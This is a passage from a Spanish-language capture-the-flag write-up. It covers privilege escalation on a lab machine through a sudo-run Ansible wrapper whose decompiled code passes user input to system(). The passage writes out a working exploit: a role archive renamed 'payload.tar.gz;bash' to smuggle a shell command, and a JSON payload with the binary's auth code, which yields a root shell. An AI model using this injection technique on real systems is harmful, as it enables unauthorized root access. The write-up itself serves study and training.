. Si lo es, éste lo instala usando el binario /usr/bin/ansible-galaxy
(Ansible Galaxy
).
Si analizamos qué es lo que ocurre cuando usamos el comando run
, el binario llama a la función runPlaybook
la cual es:
void runPlaybook(undefined8 param_1)
{
long in_FS_OFFSET;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
snprintf(local_418,0x400,"%s -i %s %s%s","/usr/bin/ansible-playbook",
"/opt/playbooks/inventory.ini","/opt/playbooks/",param_1);
system(local_418);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
De manera que este script está usando Ansible Galaxy
, busca un archivo .ini
llamado /opt/playbooks/inventory.ini
y busca por un playbook llamado /opt/playbooks/<user-parameter>
. Luego, esta instrucción es ejecutada por system
, de manera que podríamos tratar de inyectar comando en el nombre del archivo comprimido.
En resumen:
- Necesitamos crear un archivo
JSON
el cual contenga un payload malicioso. - Este archivo necesita una llave/parámetro
run
y otra llave/parámetroauth_code
. - La llave
auth_code
debe de tener el mismo valor que la key hallada en el binario anterior (UHI75GHINKOP
). - Dentro de la key
run
necesitamos otra llave/parámetroaction
(la cual necesita ser seteada comoinstall
) y una llave/parámetrorole_file
para un archivo deAnsible
comprimido para roles (para más detalles, ver este blog). - Dado que este archivo comprimido de roles para
Ansible
está siendo ejecutado porsystem
, podemos tratar de inyectar comando en el nombre del archivo comprimido.
Ahora que sabemos todos los campos requeridos, podemos tratar de crear nuestro archivo JSON
malicioso. Además, necesitaremos un archivo tar
conteniendo roles. Buscando encuentro este repositorio de Github para roles de Ansible
para crear un rol sys admin
. Primero, descargamos el archivo comprimido con los roles para Ansible
:
❯ wget https://github.com/coopdevs/sys-admins-role/archive/refs/tags/v0.0.3.tar.gz -O sys_admins_role.tar.gz
y pasamos esta archivo a la máquina víctima.
Ahora, renombramos el archivo de roles .tar
. Para inyectar comandos (spawnear una shell), llamaré este archivo comopayload.tar.gz;bash
:
lopez@intuition:/tmp$ cp sys_admins_role.tar.gz payload.tar.gz\;bash
y creamos un archivo payload.json
con el contenido:
{
"run": {
"action":"install",
"role_file":"payload.tar.gz;bash"
},
"auth_code":"UHI75GHINKOP"
}
Ahora, corro el comando con sudo
:
lopez@intuition:/tmp$ sudo /opt/runner2/runner2 /tmp/payload.json
Starting galaxy role install process
[WARNING]: - payload.tar.gz was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3]
Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/tmp# whoami
root
Funcionó. GG.
~Happy Hacking.